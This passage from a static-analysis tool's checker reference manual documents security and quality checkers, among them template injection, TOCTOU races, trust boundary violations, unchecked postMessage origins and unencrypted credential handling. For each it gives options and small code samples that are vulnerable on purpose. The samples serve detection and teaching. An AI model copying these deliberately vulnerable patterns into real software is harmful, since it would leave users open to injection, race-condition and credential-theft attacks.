void custom_string_read(char* s, int size, FILE* stream) {...}
```



### Note

The `tainted_data_return`, `tainted_data_argument`, `tainted_string_return_content`, and `tainted_string_argument` function annotations have been deprecated. Use `taint_source` instead.

The `taint_source` function annotation operates in conjunction with these checkers: `FORMAT_STRING_INJECTION`, `HEADER_INJECTION`, `OS_CMD_INJECTION`, `PATH_MANIPULATION`, `SQLE`, `TAINTED_SCALAR`, `TAINTED_STRING`, `URL_MANIPULATION`, and `XPATH_INJECTION`.

- `-tainted_string_sink_content`: Specifies that a function does not require a sanitized string argument. For example, the following specifies that `custom_string_read()` does not require a sanitized `s` argument:

```
// coverity[-tainted_string_sink_content : arg-0]
```

```
void custom_string_read(char* s, int size, FILE* stream) {...}
```

## 4.304. TEMPLATE\_INJECTION

Security Checker

### 4.304.1. Overview

**Supported Languages:** Go, JavaScript, TypeScript

`TEMPLATE_INJECTION` reports defects for code that can unintentionally allow the source of a Go or JavaScript template (written in e.g. jade or mustache) to be modified by an attacker. That is, it finds cases where an attacker can change a template source string intended to be rendered by some template engine. Such instances can enable an attacker to glean information about the backend infrastructure of a web server, or in extreme cases, allow for remote execution of arbitrary code.

**Disabled by default:** `TEMPLATE_INJECTION` is disabled by default for JavaScript and TypeScript. To enable it, you can use the `--enable` option to the **cov-analyze** command.

**Enabled by default:** `TEMPLATE_INJECTION` is enabled by default for Go.

**Web application security checker enablement:** To enable `TEMPLATE_INJECTION` along with other Web application checkers, use the `--webapp-security` option.

This is a tainted data checker. For more information, see Section 6.8, “Tainted Data Overview”.

### 4.304.2. Defect Anatomy

A `TEMPLATE_INJECTION` defect shows a data flow path by which untrusted (tainted) data makes its way into the source string to be rendered by a template-engine API render call. The path starts at a source of untrusted data, such as reading a property from an Express ‘request’ object, follows this tainted data through the program, and ends once it reaches a point where the template’s source will be rendered into HTML.

### 4.304.3. Examples

This section provides one or more `TEMPLATE_INJECTION` examples.

#### 4.304.3.1. Go

In the following Go example, the `req.FormValue ("userData")` from a user request can be any user controllable data; when it's used as a template source string ( `template.New` call), then it leads to a `TEMPLATE_INJECTION` defect.

```
package main

import (
 "net/http"
 "bytes"
 "text/template"
```

```

)

func test(req *http.Request, tplData interface{}) {
 userData := req.FormValue("userData")
 tpl, _ := template.New("tmpName").Parse(userData) // TEMPLATE_INJECTION defect
 var buf bytes.Buffer
 tpl.Execute(&buf, tplData)
}

```

#### 4.304.3.2. JavaScript

In the following example using the Express framework, the Request object `req` passed as the first argument to the callback provided to `app.get()` represents an untrusted source of client data. Data from this request is then passed to the jade template engine for rendering, which could allow an attacker to modify the HTML that the `jade.render` call returns (and possibly probe for or return sensitive data), or otherwise affect program execution on the server.

```

var jade = require('jade');
var express = require('express');
var app = express();

app.get('/', function(req, res, next) {
 const name = req.query.n;
 res.write(jade.render("string of jade: " + name));
});

app.listen(3000, function() {
 console.log("Listening...");
})

```

#### 4.304.4. Options

This section describes one or more `TEMPLATE_INJECTION` options.

You can set specific checker option values by passing them with `--checker-option` to the **coverity-analyze** command. For details, refer to the *Coverity Command Reference*.

- `TEMPLATE_INJECTION:distrust_all:<boolean>` - [All languages] Setting this option to true is equivalent to setting all `trust_*` checker options for this checker to false. Defaults to `TEMPLATE_INJECTION:distrust_all:false`.
- `TEMPLATE_INJECTION:trust_command_line:<boolean>` - [All languages] Setting this option to false causes the analysis to treat command line arguments as tainted. Defaults to `TEMPLATE_INJECTION:trust_command_line:true` for all languages. Setting this checker option will override the global `--trust-command-line` and `--distrust-command-line` command line options.
- `TEMPLATE_INJECTION:trust_console:<boolean>` - [All languages] Setting this option to false causes the analysis to treat data from the console as tainted. Defaults to `TEMPLATE_INJECTION:trust_console:true`. Setting this checker option will override the global `--trust-console` and `--distrust-console` command line options.

- `TEMPLATE_INJECTION:trust_cookie:<boolean>` - [All languages] Setting this option to false causes the analysis to treat data from HTTP cookies as tainted. Defaults to `TEMPLATE_INJECTION:trust_cookie:false`. Setting this checker option will override the global `--trust-cookie` and `--distrust-cookie` command line options.
- `TEMPLATE_INJECTION:trust_database:<boolean>` - [All languages] Setting this option to false causes the analysis to treat data from a database as tainted. Defaults to `TEMPLATE_INJECTION:trust_database:true`. Setting this checker option will override the global `--trust-database` and `--distrust-database` command line options.
- `TEMPLATE_INJECTION:trust_environment:<boolean>` - [All languages] Setting this option to false causes the analysis to treat data from environment variables as tainted. Defaults to `TEMPLATE_INJECTION:trust_environment:true`. Setting this checker option will override the global `--trust-environment` and `--distrust-environment` command line options.
- `TEMPLATE_INJECTION:trust_filesystem:<boolean>` - [All languages] Setting this option to false causes the analysis to treat data from the filesystem as tainted. Defaults to `TEMPLATE_INJECTION:trust_filesystem:true`. Setting this checker option will override the global `--trust-filesystem` and `--distrust-filesystem` command line options.
- `TEMPLATE_INJECTION:trust_http:<boolean>` - [All languages] Setting this option to false causes the analysis to treat data from HTTP requests as tainted. Defaults to `TEMPLATE_INJECTION:trust_http:false`. Setting this checker option will override the global `--trust-http` and `--distrust-http` command line options.
- `TEMPLATE_INJECTION:trust_http_header:<boolean>` - [All languages] Setting this option to false causes the analysis to treat data from HTTP headers as tainted. Defaults to `TEMPLATE_INJECTION:trust_http_header:false` for all languages. Setting this checker option will override the global `--trust-http-header` and `--distrust-http-header` command line options.
- `TEMPLATE_INJECTION:trust_js_client_cookie:<boolean>` - [JavaScript, TypeScript] When this option is set to false, the analysis does not trust data from cookies in client-side JavaScript code, for example from `document.cookie`. This option was formerly called `trust_client_cookie`. Defaults to `TEMPLATE_INJECTION:trust_js_client_cookie:true`.
- `TEMPLATE_INJECTION:trust_js_client_external:<boolean>` - [JavaScript, TypeScript] When this option is set to false, the analysis does not trust data from the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Note: this option was formerly called `trust_external`. Defaults to `TEMPLATE_INJECTION:trust_js_client_external:false`.
- `TEMPLATE_INJECTION:trust_js_client_html_element:<boolean>` - [JavaScript, TypeScript] When this option is set to false, the analysis does not trust data from user input on HTML elements such as `textarea` and `input` elements in client-side JavaScript code. Defaults to `TEMPLATE_INJECTION:trust_js_client_html_element:true`.
- `TEMPLATE_INJECTION:trust_js_client_http_header:<boolean>` - [JavaScript, TypeScript] When this option is set to false, the analysis does not trust data from HTTP response headers on the response to an `XMLHttpRequest` or similar in client-side JavaScript code. Defaults to `TEMPLATE_INJECTION:trust_js_client_http_header:true`.

- `TEMPLATE_INJECTION:trust_js_client_http_referer:<boolean>` - [JavaScript, TypeScript] When this option is set to false, the analysis does not trust data from the 'referer' HTTP header (from `document.referrer`) in client-side JavaScript code. Defaults to `TEMPLATE_INJECTION:trust_js_client_http_referer:false`.
- `TEMPLATE_INJECTION:trust_js_client_other_origin:<boolean>` - [JavaScript, TypeScript] When this option is set to false, the analysis does not trust data from content in another frame or from another origin, for instance from `window.name`, in client-side JavaScript code. Defaults to `TEMPLATE_INJECTION:trust_js_client_other_origin:false`.
- `TEMPLATE_INJECTION:trust_js_client_url_query_or_fragment:<boolean>` - [JavaScript, TypeScript] When this option is set to false, the analysis does not trust data from the query or fragment part of the URL, for instance from `location.hash` or `location.query`, in client-side JavaScript code. Defaults to `TEMPLATE_INJECTION:trust_js_client_url_query_or_fragment:false`.
- `TEMPLATE_INJECTION:trust_mobile_other_app:<boolean>` - [JavaScript, TypeScript] Setting this option to true causes the analysis to trust data that is received from any mobile application that does not require a permission to communicate with the current application component. Defaults to `TEMPLATE_INJECTION:trust_mobile_other_app:false`. Setting this checker option will override the global `--trust-mobile-other-app` and `--distrust-mobile-other-app` command line options.
- `TEMPLATE_INJECTION:trust_mobile_other_privileged_app:<boolean>` - [JavaScript, TypeScript] Setting this option to false causes the analysis to treat data as tainted when the data is received from any mobile application that requires a permission to communicate with the current application component. Defaults to `TEMPLATE_INJECTION:trust_mobile_other_privileged_app:true`. Setting this checker option will override the global `--trust-mobile-other-privileged-app` and `--distrust-mobile-other-privileged-app` command line options.
- `TEMPLATE_INJECTION:trust_mobile_same_app:<boolean>` - [JavaScript, TypeScript] Setting this option to false causes the analysis to treat data received from the same mobile application as though it is tainted. Defaults to `TEMPLATE_INJECTION:trust_mobile_same_app:true`. Setting this checker option will override the global `--trust-mobile-same-app` and `--distrust-mobile-same-app` command line options.
- `TEMPLATE_INJECTION:trust_mobile_user_input:<boolean>` - [JavaScript, TypeScript] Setting this option to true causes the analysis to treat data obtained from user input as though it is not tainted. Defaults to `TEMPLATE_INJECTION:trust_mobile_user_input:false`. Setting this checker option will override the global `--trust-mobile-user-input` and `--distrust-mobile-user-input` command line options.
- `TEMPLATE_INJECTION:trust_network:<boolean>` - [All languages] Setting this option to false causes the analysis to treat data from the network as tainted. Defaults to `TEMPLATE_INJECTION:trust_network:false` for all languages. Setting this checker option will override the global `--trust-network` and `--distrust-network` command line options.
- `TEMPLATE_INJECTION:trust_rpc:<boolean>` - [All languages] Setting this option to false causes the analysis to treat data from RPC requests as tainted. Defaults to

`TEMPLATE_INJECTION:trust_rpc:false` for all languages. Setting this checker option will override the global `--trust-rpc` and `--distrust-rpc` command line options.

- `TEMPLATE_INJECTION:trust_system_properties:<boolean>` - [All languages] Setting this Web application security option to `false` causes the analysis to treat data from system properties as tainted. Defaults to `TEMPLATE_INJECTION:trust_system_properties:true` for all languages. Setting this checker option will override the global `--trust-system-properties` and `--distrust-system-properties` command line options.

### 4.304.5. Models

With `cov-make-library`, you can use the following Coverity Analysis primitives to create custom models for `TEMPLATE_INJECTION`.

#### 4.304.5.1. Go

In Go, the primitives are defined in the package `synopsys.com/coverity-primitives/primitives` and take an `Interface` as an argument; for example:

```
import . "synopsys.com/coverity-primitives/primitives"

func injecting_into_template_function(data interface{}) {
 TemplateSink(data);
}
```

The `TemplateSink()` primitive instructs `TEMPLATE_INJECTION` to report a defect if the argument to `injecting_into_template_function()` is from an untrusted source.

## 4.305. TEMPORARY\_CREDENTIALS\_DURATION

### 4.305.1. Overview

**Supported Languages:** JavaScript, TypeScript

The `TEMPORARY_CREDENTIALS_DURATION` checker finds cases where the `DurationSeconds` property in the options used by the `assumeRoleWithWebIdentity()` method of the AWS Security Token Service is set to a value greater than 4 hours; by default it is set to 1 hour.

The `TEMPORARY_CREDENTIALS_DURATION` checker is disabled by default. You can enable it with the `--webapp-security` option of the `cov-analyze` command.

### 4.305.2. Examples

This section provides one or more `TEMPORARY_CREDENTIALS_DURATION` examples.

In the following example, a `TEMPORARY_CREDENTIALS_DURATION` defect is displayed for the `DurationSeconds` property set in the first parameter of the method `assumeRoleWithWebIdentity()`:

```
var AWS = require('aws-sdk');

const sts = new AWS.STS();
sts.assumeRoleWithWebIdentity({
 DurationSeconds: 100000, // #defect#TEMPORARY_CREDENTIALS_DURATION
 ProviderId: "graph.facebook.com"
});
```

## 4.306. TEXT.CUSTOM\_CHECKER

Quality, Security (Text) Checker

### 4.306.1. Overview

**Supported Languages:** Text, XML

Coverity Analysis provides the ability to create user-defined text checkers. These checkers can be used to match patterns that indicate illegal data, misconfiguration, or other issues of concern.

The defect patterns can be specified in terms of regular expressions on the string contents of a file. If the file can be parsed as XML, the defect pattern may be specified as an Xpath 1.0 expression.

The checkers are defined using a JSON configuration file passed through the `--directive-file` option to the **cov-analyze** command. The directives that define a `TEXT.CUSTOM_CHECKER` are described in the *Security Directive Reference*.

Text checkers analyze only the text data in the emit database. Text data is emitted via filesystem capture (see **cov-build** [↗](#)), from a Java web-application archive (see *Coverity Analysis User and Administration Guide* [↗](#)), or during an ASP.NET compilation (see *Coverity Analysis User and Administration Guide* [↗](#)). The text data in an intermediate directory can be viewed using the **cov-manage-emit list** command (see **cov-manage-emit** [↗](#)).

**Enabled by default:** `TEXT.CUSTOM_CHECKER` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

**Top-level fields:** The top-level fields in the JSON configuration file for this checker are the same as those for Web application security files. These are described in the *Security Directive Reference* > “Top-level value” section. Please read the important **Recommendation** and **Requirement** paragraphs in that section.

A custom text checker can only be used in a JSON configuration file that has a `format_version` value of 8 or higher.

A custom text checker can appear in a configuration file with any 'language' value. The checker will only be run on text translation units-- not source files-- and the language value does not have any effect on this.

**Directive syntax:** Directive syntax: The dataflow checker directive is a JSON object. For details on syntax, see `text_checker_name`.

## 4.306.2. Examples

**Example 1:** . Match an unsafe regular expression pattern in a JSON configuration file. This demonstrates the minimum required fields.

```
{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "Javascript",
 "directives" : [
 {
 "text_checker_name" : "TEXT.UNSAFE_SETTING",
 "file_pattern" : { "regex" : "config(-+)\.json$",
 "case_sensitive" : false },
 "defect_pattern" : { "regex" : "unsafe.*:.true" }
 }
]
}
```

This checker will report a `TEXT.UNSAFE_SETTING` defect in the following `config.json` file:

```
{
 "mode" : 1,
 "version" : "2.9.6",
 "unsafe" : true
}
```

**Example 2:** . Match an unsafe xpath expression in an XML configuration file.

```
{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "Java",
 "directives" : [
 {
 "text_checker_name" : "TEXT.NO_TEST_SERVLETS",
 "file_pattern" : { "regex" : "WEB-INF\\web\\.xml$",
 "case_sensitive" : false },
 "defect_pattern" : { "xpath" : "/*[local-name()='web-app']/*[local-
name()='servlet']/*[local-name()='servlet-name'][contains(text(), 'test')]" },
 "defect_message" : "A possible test servlet is deployed.",
 "remediation_advice" : "Test code should be removed from the production
environment.",
 }
]
}
```

```

 "new_issue_type" : {
 "type" : "leftover_debug_code",

 "name" : "Deployed test servlet",
 "description" : "A possible test servlet will be deployed.",
 "local_effect" : "Leftover debug or test code is not intended to be deployed
with the application in a production environment, and it may expose unintended
functionality or bypass security features.",

 "cwe" : 489,
 "impact" : "Medium",
 "category" : "Medium impact security",
 "security_kind" : true,
 }
]
}

```

Because of the directives, the analysis reports a `TEXT.NO_TEST_SERVLETS` defect in the following `web.xml` web application deployment descriptor:

```

<web-app version="2.5" xmlns="http://java.sun.com/xml/ns/javaee"
 xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
 xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://
java.sun.com/xml/ns/javaee/web-app_2_5.xsd">

 <servlet>
 <servlet-name>test services</servlet-name>
 <servlet-class>com.synopsys.killerapp.test.TestServlet</servlet-class>
 <load-on-startup>1</load-on-startup>
 </servlet>

 <servlet-mapping>
 <servlet-name>test services</servlet-name>
 <url-pattern>/test/*</url-pattern>
 </servlet-mapping>

</web-app>

```

## 4.307. TOCTOU

Quality, Security Checker

### 4.307.1. Overview

**Supported Languages:** C, C++, Objective-C, Objective-C++

TOCTOU, TOCTOU (an acronym for Time Of Check To Time Of Use), finds many cases where filenames are unsafely checked before being used. In a program that runs with elevated privileges, this can expose a file-based race condition vulnerability that can be used to subvert system security. A common code mistake is to do a filename access check and, if it succeeds, perform a privileged system

call on that filename. A problem arises when an attacker can change the filename's file association between the access and usage calls, for example, by manipulating symbolic links. In some cases, such vulnerabilities can be eliminated by passing file descriptors between system calls instead of file names. However, the POSIX API is not rich enough to close all vulnerabilities in that way, so more dramatic program restructuring, such as using `setuid` to temporarily drop privileges, might be required.

This checker supports the following check functions:

```
stat, lstat, statfs, access, readlink
```

This checker supports the following use functions:

```
basename, bindtextdomain, catopen, chown, dirname, dlopen, freopen, ftw,
mkfifo, nftw, opendir, pathconf, realpath, setmntent, utmpname, chdir,
chmod, chroot, creat, execv, execve, execl, execlp, execvp, execl,
lchown, mkdir, fopen, remove, tempnam, mknod, quotactl, rmdir, truncate,
umount, unlink, uselib, utime, utimes, link, mount, rename, symlink, open
```

**Disabled by default:** `TOCTOU` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Security checker enablement:** To enable `TOCTOU` along with other security checkers, use the `--security` option with the `cov-analyze` command.

### 4.307.2. Examples

This section provides one or more `TOCTOU` examples.

This program is susceptible to a file-based race condition because the `logfile` binding can possibly change between the `stat()` and `open()` calls.

```
void toctou_example() {
 stat(logfile, &st);
 if (st.st_uid != getuid())
 return -1;
 open(logfile, O_RDWR);
}
```

### 4.307.3. Events

This section describes one or more events produced by the `TOCTOU` checker.

- `fs_check_call`: A "check" routine has been called on the given filename.
- `toctou`: A filename has been passed to a "check" routine and is now being used as an argument to a "use" routine on the same path.

## 4.308. TRUST\_BOUNDARY\_VIOLATION

Security Checker

### 4.308.1. Overview

**Supported Languages:** Java

`TRUST_BOUNDARY_VIOLATION` reports a defect when tainted data flows to a data structure or context that is often assumed to be trustworthy. Because data from such sources might not be validated or sanitized, this data could be mistakenly used in an insecure manner.

The `TRUST_BOUNDARY_VIOLATION` checker uses the global trust model to determine whether to trust servlet inputs, network data, filesystem data, or database information. You can use the `--trust-*` and/or `--distrust-*` options to `cov-analyze` to modify the current settings.

**Disabled by default:** `TRUST_BOUNDARY_VIOLATION` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `TRUST_BOUNDARY_VIOLATION` along with other Web application checkers, use the `--webapp-security` option.

### 4.308.2. Defect Anatomy

A `TRUST_BOUNDARY_VIOLATION` defect shows a dataflow path by which untrusted (tainted) data is sent to a trustworthy data structure. The dataflow path starts at a source of untrusted data, such as getting input from an HTTP request. From there, the events in the defect show how this tainted data flows through the program, for example, from the argument of a function call to the parameter of the called function. The final part of the path shows the tainted value being passed through the trusted boundary.

### 4.308.3. Examples

This section provides one or more `TRUST_BOUNDARY_VIOLATION` examples.

The following Java code uses tainted data from an HTTP request and stores it in the session object (`req.getSession()`), a generally trusted data structure.

```
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import javax.servlet.ServletException;
import java.io.IOException;

class TrustBoundaryViolationTest extends HttpServlet {

 public void doPost(HttpServletRequest req, HttpServletResponse resp)
 throws ServletException, IOException
 {
 String userId = req.getParameter("userId");
 req.getSession().setAttribute("userId", userId);
 }
}
```

#### 4.308.4. Models and Annotations

Java models and annotations (see Section 6.3, “Models and Annotations in Java”) can improve analysis with this checker in the following cases:

- If the analysis misses defects because it does not treat certain data as tainted, see discussion of the `@Tainted` annotation, and see Section 6.3.1.3, “Modeling Sources of Untrusted (Tainted) Data” for instructions on marking method return values, parameters, and fields as tainted.
- If the analysis reports false positives because it treats a field as tainted when you believe that tainted data cannot flow into that field, see `@NotTainted`.

See also Section 6.3.1.5, “Adding Assertions that Fields Are Tainted or Not Tainted.”

### 4.309. UNCAUGHT\_EXCEPT

Quality Checker

#### 4.309.1. Overview

**Supported Languages:** C++

`UNCAUGHT_EXCEPT` finds many cases in which an exception is thrown and never caught, or violates a function's exception specification. Usually, the result of such behavior is abnormal program termination.

The checker reports a defect if any of the following items occurs:

- An exception that is not allowed by the exception specification of a function is thrown.
- An exception is thrown from a root function. By default, a root function is defined as having no known callers, and its name matches the following regular expression:

```
((((^|_)m|M)ain)|(^MAIN))$
```

The preceding regular expression matches `main`, `WinMain`, `MAIN`. It does not match `DOMAIN`.



#### Note

By default, the checker ignores `bad_alloc` exceptions because operator `new` often throws this exception, and most programs are not affected by it. The `except_ignore` option to this checker and the `--handle-badalloc` option to **cov-analyze** override this default behavior.

**Enabled by default:** `UNCAUGHT_EXCEPT` is enabled by default. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

#### 4.309.2. Examples

This section provides one or more `UNCAUGHT_EXCEPT` examples.

```
// Example 1:
```

```
// Prototypical defect.
int main(){
 throw 7;
 return 0;
}
```

```
// Example 2:
// A simple defect resulting from a function call.
void fun() {
 throw 7;
}
int main(){
 fun();
 return 0;
}
```

```
// Example 3:
// An exception is thrown,
// violating the exception specification.
void fun() {
 throw 7;
}
void cannot_throw() throw() {
 fun();
}
```

```
// Example 4:
// An exception is thrown inside a try-catch block,
// but none of the catch statements has a matching type.
class A {};
class B {};
class C {};

int main(){
 try {
 throw A();
 } catch (B b){
 } catch (C b){
 }
 return 0;
}
```

```
// Example 5:
// The exception is caught, but can be re-thrown.
class A {};

int main() {
 try {
 throw A(); //Will not be caught.
 } catch (...){
 cerr << "Error" << endl;
 }
}
```

```
 throw;
 }
}
```

### 4.309.3. Options

This section describes one or more `UNCAUGHT_EXCEPT` options.

You can set specific checker option values by passing them with `--checker-option` to the **cov-analyze** command. For details, refer to the *Coverity Command Reference*.

- `UNCAUGHT_EXCEPT:except_ignore:<exception_class_identifier_pattern>` - C++ option that excludes matching unqualified identifiers that escape a root function. The checker excludes an exception from the defect report if the pattern matches a class identifier for the exception. Default is unset.

The checker treats the value to this option as an unanchored regular expression unless the value completely matches an exception class identifier. In the latter case, the checker only excludes full matches and does not exclude exceptions that partially match the value. You can specify this option multiple times.

In the rare case that an exception is not an instance of a class, this option will not affect defect reporting on that exception.

The checker runs this option after running `except_report`. Unlike `except_report`, this option does apply to exception-specification violations.

If you use this option, the checker only excludes a `bad_alloc` exception if there is a matching value. Otherwise, it reports this exception.

- `UNCAUGHT_EXCEPT:except_report:<exception_class_identifier_pattern>` - C++ option that finds matching unqualified identifiers that escape a root function. The checker includes an exception within the defect report if the pattern matches the class identifier for the exception. Default is unset.

The checker treats the value to this option as an unanchored regular expression unless the value matches an exception class identifier completely. In the latter case, the checker only reports full matches and does not report exceptions that partially match the value. You can specify this option multiple times.

You can use this option to force the checker to report `bad_alloc` exceptions. It has no effect on the reporting of exception-specification violations.

This option is backwards compatible with pre-5.4 comma-separated string values.

- `UNCAUGHT_EXCEPT:follow_indirect_calls:<boolean>` - When this C++ option is true, and either virtual function call tracking and/or function pointer tracking are enabled, `UNCAUGHT_EXCEPT` will follow such indirect calls for the purpose of propagating thrown exceptions. When false, exceptions are not considered to propagate across indirect calls, even when indirect call tracking is otherwise enabled. Defaults to `UNCAUGHT_EXCEPT:follow_indirect_calls:false`

- `UNCAUGHT_EXCEPT:fun_ignore:<function_identifier_pattern>` - C++ option that excludes an exception from a defect report if it results from a function that partially or fully matches the specified value. You specify function identifiers in the same way as you specify them for `fun_report`. Default is unset.

This option does not apply to exception-specification violations.

This option overrides the `fun_report` option.

You can specify this option multiple times. The checker examines all matching values.

- `UNCAUGHT_EXCEPT:fun_report:<function_identifier_pattern>` - C++ option that specifies a partially or completely matching function identifier. The checker treats the value to this option as an unanchored regular expression. That is, a single identifier causes a full match, while a regular expression metacharacter yields a partial match. Default is unset.

If you specify `fun_report`, the checker treats:

- Any function that has an unqualified identifier (for example, `foo` in `bar::foo(int)`) that matches the `<value>` as a root function, and it reports any exceptions that escape from it as defects. The checker behaves in this manner regardless of whether other functions call the matching function or not.
- `main` and its variants (for example, `WinMain`, and `MAIN`) as entry points *only if* their function identifiers match one of the specified values.

This option does not apply to exception-specification violations.

You can specify this option multiple times. The checker examines all matching values.

- `UNCAUGHT_EXCEPT:report_all_fun:<boolean>` - When this C++ option is set to `true`, it enables the reporting of exceptions for all functions that are not called by other functions. Defaults to `UNCAUGHT_EXCEPT:report_all_fun:false`

This checker option is automatically set to `true` if the `--aggressiveness-level` option of the **cov-analyze** command is set to `high`.

- `UNCAUGHT_EXCEPT:report_exn_spec:<boolean>` - When this C++ option is set to `false`, it disables reporting of exception-specification violations. Defaults to `UNCAUGHT_EXCEPT:report_exn_spec:true`
- `UNCAUGHT_EXCEPT:report_thrown_pointers:<boolean>` - When this C++ option is set to `true`, the checker reports an error when any pointer is thrown. In C++, throwing by value is recommended, while throwing by pointer discouraged. Defaults to `UNCAUGHT_EXCEPT:report_thrown_pointers:false`

Example:

```
struct A { };
int main() {
```

```
try {
 // The programmer actually wanted "throw A();"
 throw new A();
} catch (A &a) {
} catch (...) {
 // The exception is caught here, but was intended
 // to be caught in the above block.
}
}
```

#### 4.309.4. Events

This section describes one or more events produced by the `UNCAUGHT_EXCEPT` checker.

- Only one of the two following events is possible:
  - `exn_spec_violation` - Indicates that a function threw an exception that is not allowed by its exception specification.
  - `root_function` - Indicates that a root function does not catch an exception that could be thrown during its execution.
- Any number of the following events is possible:
  - `fun_call_w_exception` - Indicates that an exception is thrown by a function. It has a model link.
  - `fun_call_w_rethrow` - Indicates that a function has a `rethrow_outside_catch` event.
  - `rethrow` - Indicates that a `throw` statement re-throws an exception that is never caught.
  - `rethrow_outside_catch` - Indicates that `throw` statement occurred outside of function that contains a `try` statement.
  - `uncaught_exception` - Marks `throw` statements that produce an exception that will never be caught.

### 4.310. UNCHECKED\_ORIGIN

Security Checker

#### 4.310.1. Overview

**Supported Languages:** JavaScript

`UNCHECKED_ORIGIN` reports if a `window` message event handler does not validate the origin of received event message. An attacker can send arbitrary data through event messages. Unvalidated event messages can cause DOM-XSS or other injection-based security problems in a Web page.

**Disabled by default:** `UNCHECKED_ORIGIN` is disabled by default. To enable it, you can use the `--enable` option to the `cov-analyze` command.

**Web application security checker enablement:** To enable `UNCHECKED_ORIGIN` along with other Web application checkers, use the `--webapp-security` option.

### 4.310.2. Defect Anatomy

An `UNCHECKED_ORIGIN` defect shows a `window.onmessage` event handler that does not check the origin of its parameter. The events in the defect show the code that registers the handler (for example, by assigning to `window.onmessage`) and the code of the handler itself.

### 4.310.3. Examples

This section provides one or more `UNCHECKED_ORIGIN` examples.

This example contains the defect.

```
function bad_handler(event) { // Defect here.
 consumeData(event.data); // May result in unintended behavior
 event.source.postMessage("secret", event.origin); // May leak secrets
}
window.addEventListener("message", bad_handler);
```

This example does not contain the defect.

```
// Good example:
function good_handler(event) {
 if(event.origin == "http://mydomain.com") {
 consumeData(event.data);
 event.source.postMessage("secret", event.origin);
 }
}
window.addEventListener("message", good_handler);
```

## 4.311. UNENCRYPTED\_SENSITIVE\_DATA

Security Checker

### 4.311.1. Overview

**Supported Languages:** C, C++, C#, CUDA, Java, Kotlin, Objective-C, Objective-C++, Swift, Visual Basic

The `UNENCRYPTED_SENSITIVE_DATA` checker finds code that uses sensitive data (for example, a password, a cryptographic key, and so on) that was transmitted or stored unencrypted. Storing or transmitting sensitive data without encrypting it allows an attacker to steal it or tamper with it. Fixing such a defect requires changes to all endpoints.

- **Enabled by default:** `UNENCRYPTED_SENSITIVE_DATA` is enabled by default for Kotlin and Swift. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”
- **Disabled by default:** `UNENCRYPTED_SENSITIVE_DATA` is disabled by default for C, C++, CUDA, Objective-C and Objective-C++. To enable `UNENCRYPTED_SENSITIVE_DATA` for these languages,

you can use the `--enable` option to the **cov-analyze** command. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

- **Disabled by default:** `UNENCRYPTED_SENSITIVE_DATA` is disabled by default for C#, Java and Visual Basic. To enable `UNENCRYPTED_SENSITIVE_DATA` for these languages along with other Web application checkers, use the `--webapp-security` option. For enablement/disablement details and options, see Section 1.2, “Enabling and Disabling Checkers”.

### 4.311.2. Defect Anatomy

An `UNENCRYPTED_SENSITIVE_DATA` infers that a piece of data is sensitive when it determines that data is used in a security API as a password, cryptographic key, or security token. If it also finds evidence that this data was stored or transmitted without being encrypted, it reports a defect.

Therefore, an `UNENCRYPTED_SENSITIVE_DATA` defect shows a data flow path in which data that was transmitted or stored unencrypted is used in a sensitive manner. The path starts at a source of encrypted data, such as a read from a regular (not encrypted with SSL/TLS) socket. From there, the events in the defect show how this unencrypted data flows through the program, for example, from the argument of a function call to the parameter of the called function. Finally, the main event of the defect shows how the unencrypted data is used in a sensitive manner, for example, as a password or a cryptographic key, without being decrypted.

### 4.311.3. Examples

This section provides one or more `UNENCRYPTED_SENSITIVE_DATA` examples.

#### 4.311.3.1. C/C++

The following example reads unencrypted data from a regular (not encrypted with SSL/TLS) socket and uses it as a password. An attacker with access to the network could intercept the password when it is in transit.

```
void test(int socket, char* password) {

 recv(socket, password, 100, 0);
 HANDLE pHandle;

 LogonUserA("User", "Domain", password,
 LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &pHandle);
 // Defect here.
}
```

#### 4.311.3.2. C#

The following example reads unencrypted data from a cookie and uses it as a password. If the HTTP connection is not encrypted with SSL, an attacker with access to the network could intercept the password when it is in transit. The password could also be extracted from the user's browser cookie store.

```
class TestUnencryptedSensitiveData{
 public void TestCookie() {
 HttpCookie cookie = new HttpCookie("TestCookie");
 string pwd = cookie.Values["password"];
 // Defect below.
 NetworkCredential credential = new NetworkCredential("testName", pwd);
 }
}
```

#### 4.311.3.3. Java

The following example reads unencrypted data from a regular (not encrypted with SSL/TLS) socket and uses it as a password. An attacker with access to the network could intercept the password when it is in transit.

```
public PasswordAuthentication test(String userName)
{
 PasswordAuthentication pwAuth = null;

 Socket socket = null;
 InputStreamReader isr = null;
 BufferedReader br = null;
 try
 {
 socket = new Socket("remote_host", 1337); // unencrypted / non-TLS Socket
 isr = new InputStreamReader(socket.getInputStream(), "UTF-8");
 br = new BufferedReader(isr);
 String password = br.readLine();
 pwAuth = new PasswordAuthentication(userName, password.toCharArray());
 }
 catch (IOException exceptIO) { }

 return pwAuth;
}
```

#### 4.311.3.4. Kotlin

The following example reads unencrypted data from a regular (not encrypted with SSL/TLS) socket and uses it as a password. An attacker with access to the network could intercept the password when it is in transit.

```
fun test(userName: String): PasswordAuthentication? {
 return try {
 val socket = Socket("remote_host", 1337)
 val br = socket.getInputStream().bufferedReader()
 val password = br.readLine()
 PasswordAuthentication(userName, password.toCharArray())
 } catch (exceptIO: IOException) {
 null
 }
}
```

### 4.311.3.5. Swift

The following example reads a web service password from an iCloud key-value store. This service should not be used to store sensitive data.

```
import Foundation

func UserDataServiceURL(cloud: NSUbiquitousKeyValueStore) -> URL? {
 var url = URLComponents()
 url.host = "mydomain.com"
 url.port = 4242
 url.path = "some/webservice"
 // DEFECT: Storing credentials in an iCloud shared key-value store
 // is insecure and strongly discouraged.
 url.password = cloud.string(forKey: "accountPassword")
 return url.url
}
```

### 4.311.3.6. Visual Basic

